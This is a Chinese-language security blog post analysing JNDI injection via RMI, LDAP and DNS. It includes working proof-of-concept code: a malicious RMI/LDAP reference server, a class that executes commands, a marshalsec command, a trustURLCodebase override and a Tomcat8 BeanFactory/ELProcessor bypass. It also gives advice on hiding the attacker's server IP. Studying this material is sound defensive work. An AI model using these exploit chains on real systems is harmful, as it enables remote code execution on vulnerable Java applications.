JNDI-RMI、LDAP注入分析

JNDI Java命名和目录接口(Java Naming and Directory Interface,JNDI)是一组在Java应用中访问命名和目录服务的API。JNDI中的命名(Naming),就是将Java对象以某个名称的形式绑定(binding)到一个容器环境(Context)中,以后调用容器环境(Context)的查找(lookup)方法又可以查找出某个名称所绑定的Java对象。

JNDI

JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。
SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:JDBC、LDAP、RMI、DNS、NIS、CORBA。

下面从三种服务来理解jndi注入。

协议 作用
LDAP 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS 域名服务

版本限制

JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:

  • JDK 5U45、6U45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true
  • JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,即不允许RMI远程地址加载 objectfactory
  • JDK 11.0.1、8u191、7u201、6u211, com.sun.jndi.ldap.object.trustURLCodebase 默认为false

JNDI注入

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。

JNDI之RMI

RMI概述

RMI 的全称是 Rmote Method Invocation远程方法调用。具体实现的过程是:远程服务器提供具体的类和方法,本地客户端会通过某种方式获得远程类的一个代理,然后通过这个代理调用远程对象的方法。方法的参数是通过序列化和反序列化的方式传递的。

本地客户端获取远程类的代理的方式是,借助了 Registry (注册中心)

Server Registry Client
服务端,提供具体远程对象 注册表,存放远程对象的相关信息(ip、端口、标识符) 客户端,远程对象调用者

RMI 流程:

  • Registry 首先启动,并监听一个端口,一般是1099
  • Server 向 Registry 注册远程对象
  • Client 从 Registry 获取远程对象的代理
  • Client 通过这个代理调用远程对象的方法
  • Server 端的代理接收到 Client 端调用的方法,参数,Server 端执行相对应的方法
  • Server 端的代理将执行结果返回给 Client 端代理

RMI分析

jdk-7u80
这段代码可以明显看出来,要想实现jndi注入的利用只要在initialContext.lookup(uri)的位置实现uri可控就可以调用远程恶意类实现RCE。

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
        initialContext.lookup(uri);//获取指定的远程对象

}

Server.java
服务端首先起一个注册中心的端口1099,rmi 服务默认端口为1099

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {

    public static void main(String[] args) throws Exception{
        Registry registry= LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Calc", "Calc", "http://localhost/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("calc", wrapper);

    }
}

Client.java

package jndi;

import javax.naming.InitialContext;

public class Client {
    public static void main(String[] args) throws Exception{
        new InitialContext().lookup("rmi://localhost:1099/calc");
    }
}

恶意类Calc.java

import java.lang.Runtime;

public class Calc {
    public Calc() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

运行 Server 再运行 Client

调试Server

服务端注册中心起监听端口 1099,创建 Refernence 一个对象,Reference 对象中指定从远程加载构造的恶意 Factory 类, new 对象的时候需要 className、factory、factoryLocation ,并将其绑定到RMI服务器上

调试Client

步入InitialContext

进入GenericURLContext#lookup,通过 RMI 服务查找名字为 calc 的stub

继续跟进lookup,在 RegistryContext 类中该函数判断 var1 和 var2,这里89行的的 var2 为建立 socket 连接时的远程地址

在98行跟进RegistryContext

在342行跟进到 NamingManager 类,继续向下在 getObjectInstance 方法中获取工厂类对象

在319行调用了 getObjectFactoryFromReference方法,发现通过getObjectFactoryFromReference 方法调用恶意类

首先会本地查找,获取到 codebase 后远程调用,见158行

在158行加载恶意类,在163行使用 newInstance 方法实例化对象。到这里我们可以看到整个过程的调用栈为

JNDI之LDAP

LDAP分析

LDAP全称是 Lightweight Directory Access Protocol( 轻量级目录访问协议),LDAP也能返回 Reference 对象,由攻击者控制的 LDAP服务端返回一个恶意的 JNDI Reference 对象。

client.java

package jndi;

import javax.naming.InitialContext;

public class Client {
    public static void main(String[] args) throws Exception{
        new InitialContext().lookup("ldap://localhost:1389/Calc");
    }
}

python在 Calc.class 所在的目录起web服务:

使用 marshalsec启动LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Calc

启动客户端,调用远程恶意类

调用栈与 RMI 一致,原理都是基于 lookup() 方法可控

JNDI之DNS

通过上面我们可知 JNDI 注入可以利用 RMI 协议和 LDAP 协议搭建服务然后执行命令,但有个不好的点就是会暴露自己的服务器 IP
在没有确定存在漏洞前,直接在直接服务器上使用 RMI 或者 LDAP 去执行命令,通过日志可分析得到攻击者的服务器 IP,这样在没有获取成果的前提下还暴露了自己的服务器 IP,得不偿失。 我们可以使用 DNS 协议进行探测,通过 DNS 协议 去探测是否真的存在漏洞,再去利用 RMI 或者 LDAP 去执行命令,避免过早暴露服务器 IP,这也是平常大多数人习惯使用 DNSLog 探测的原因之一,同样的 ldap 和 rmi 也可以使用 DNSLog 平台去探测。

漏洞端代码:

import javax.naming.InitialContext;

public class client {
    public static void main(String[] args) throws Exception{
        new InitialContext().lookup("dns://dns.kf3h0a.dnslog.cn");
    }
}

NDSLog 触发成功:

Bypass绕过

trustURLCodebase绕过

当 JDK 版本切换为 1.8.0_411,出现报错

点近报错处查看com.sun.jndi.rmi.registry.RegistryContext#decodeObject,在执行客户端的时候报错,在8u121之后com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 等属性的默认值变为 false,就不能再利用了 ,即不允许 RMI 远程地址加载 objectfactory 类。

com.sun.jndi.cosnaming.object.trustURLCodebase 属性设置为false即可

public class Client {
    public static void main(String[] args) throws Exception{
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        new InitialContext().lookup("rmi://localhost:1099/calc");
    }
}

高版本绕过之Tomcat8

使用 jdk 高版本的时,即使在传入时候设置了 com.sun.jndi.ldap.object.trustURLCodebase 为 true,也会报错,调试时发现该值依然为 false,具体可以参阅 JDK下的JNDI注入进行绕过

虽然8u191后已经不允许加载 codebase 中的类,但仍然可以从本地加载 Reference Factory
需要注意是,该本地类必须实现 javax.naming.spi.ObjectFactory 接口,因为在javax.naming.spi.NamingManager#getObjectFactoryFromReference 最后的 return 语句对 Factory 类的实例对象进行了类型转换,并且该工厂类至少存在一个 getObjectInstance() 方法

org.apache.naming.factory.BeanFactory 就是满足条件之一,并由于该类存在于 Tomcat8 依赖包中,攻击面和成功率还是比较高的

<dependencies>
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-dbcp</artifactId>
        <version>9.0.8</version>
    </dependency>
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-catalina</artifactId>
        <version>9.0.8</version>
    </dependency>
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-jasper</artifactId>
        <version>9.0.8</version>
    </dependency>
</dependencies>

服务端

public class Tomcat8bypass {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
        resourceRef.add(new StringRefAddr("forceString", "sanshi=eval"));
        resourceRef.add(new StringRefAddr("sanshi", "Runtime.getRuntime().exec(\"calc\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("Tomcat8bypass", referenceWrapper);
    }
}

客户端访问

public class JndiAck {
    public static void main(String[] args) throws Exception {
    //    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        new InitialContext().lookup("rmi://127.0.0.1:1099/Tomcat8bypass");
    }
}

调试分析
org.apache.naming.factory.BeanFactory#getObjectInstance中的forceStringforceString 可以给属性强制指定一个 setter 方法,所使用的是 ELProcessor.eval()ELProcessor.eval() 会对EL表达式进行求值,即会执行命令

通过反射调用执行命令

参考资料

免责声明

免责声明:本博客的内容仅供合法、正当、健康的用途,切勿将其用于违反法律法规的行为。如因此导致任何法律责任或纠纷,本博客概不负责。谢谢您的理解与配合!

本文链接:

https://sanshiok.com/archive/30.html

# 最新文章